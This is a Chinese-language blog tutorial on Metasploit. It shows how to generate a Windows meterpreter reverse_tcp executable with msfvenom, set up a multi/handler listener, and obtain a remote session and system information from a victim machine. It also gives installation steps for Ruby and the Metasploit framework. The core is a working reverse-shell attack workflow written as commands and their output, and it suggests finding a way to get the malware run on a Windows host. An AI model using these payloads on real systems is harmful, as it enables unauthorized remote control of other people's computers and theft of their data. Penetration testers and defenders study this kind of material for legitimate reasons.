metasploit 是一個 滲透測試工具,你可以用 kali linux 來使用 metasploit,也可以自行安裝 (底下)

怎麼開始呢

 

先產生惡意程式 (想辦法讓它可以被執行在某一台 Windows 上),基本上執行 exp.exe 後它會跟 10.10.10.134:8080 連線溝通

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.134 LPORT=8080 -f exe > exp.exe

再來建置接收端,也就是 10.10.10.134 這台

進入 metasploit

msfconsole

之後輸入如下

use exploit/multi/handler
set PAYLOADS windows/meterpreter/reverse_tcp
set LHOST 10.10.10.134
set LPORT 8080
exploit

狀態會是

[*] Started reverse handler on 10.10.10.134:8080 
[*] Starting the payload handler...

然後當那台 Windows 不小心執行了 exp.exe 時

接收端這邊的狀態會是

[*] Sending stage (752128 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.10.134:8080 -> 10.10.10.180:1161) at 2015-10-07 04:16:10 +0000

接收端會呈現 meterpreter>,你就可以輸入 sysinfo,我們就得到那台 Windows 的系統資訊

Computer : XXX
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : zh_TW
Meterpreter : x86/win32

或 help 可以查看有什麼指令可用

另外,msfvenom –help-format 也可知道其它支援的執行檔格式,比如 php、asp、perl 等等

PS: 這支 exp.exe 惡意程式基本上我的防毒軟體會抓到,所以測試時要注意

自行安裝 metasploit-framework

 

這邊省略了相關套件的詳細清單,因為我的測試環境,已必要的套件早就安裝了,不過基本上 ruby、openssl-devel、gcc 等是一定要的

或可參考 installing-metasploit-in-ubunt

# Installing a Proper Version of Ruby ##################

curl -L https://get.rvm.io | bash -s stable
source /usr/local/rvm/scripts/rvm
    或
        echo "source /usr/local/rvm/scripts/rvm " >> ~/.bashrc
        source ~/.bashrc
rvm install 2.1.6
rvm use 2.1.6 --default
ruby -v

# Installing Ruby using rbenv ########################

cd ~
git clone git://github.com/sstephenson/rbenv.git .rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(rbenv init -)"' >> ~/.bashrc
exec $SHELL

git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
echo 'export PATH="$HOME/.rbenv/plugins/ruby-build/bin:$PATH"' >> ~/.bashrc

# sudo plugin so we can run Metasploit as root with "rbenv sudo msfconsole" 
git clone git://github.com/dcarley/rbenv-sudo.git ~/.rbenv/plugins/rbenv-sudo

exec $SHELL

rbenv install 2.1.6
rbenv global 2.1.6
ruby -v

# Installing Metasploit Framework ####################

cd /opt
sudo git clone https://github.com/rapid7/metasploit-framework.git
sudo chown -R `whoami` /opt/metasploit-framework
cd metasploit-framework

# If using RVM set the default gem set that is create when you navigate in to the folder
rvm --default use ruby-2.1.6@metasploit-framework

gem install bundler
bundle install

# 產生 LINK 至 /usr/local/bin/ ########################

cd metasploit-framework
bash -c 'for MSF in $(ls msf*); do ln -sf /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done'

可以跑就行了

msfconsole

我測試時用 LINK 後的檔案執行會有問題,但直接到 /opt/metasploit-framework 下,執行 ./mfsXXXXX 是 ok 的

Related posts 相關文章
Windows 無法直接打開 Samba 分享出來的 .exe 執行檔
More...
用 docker build 一個 kali + metasploit
More...
JavaScript Frameworks 前三大
More...
2015 年最受歡迎的 PHP Framework 是 Laravel
More...

作者

留言

撰寫回覆或留言

發佈留言必須填寫的電子郵件地址不會公開。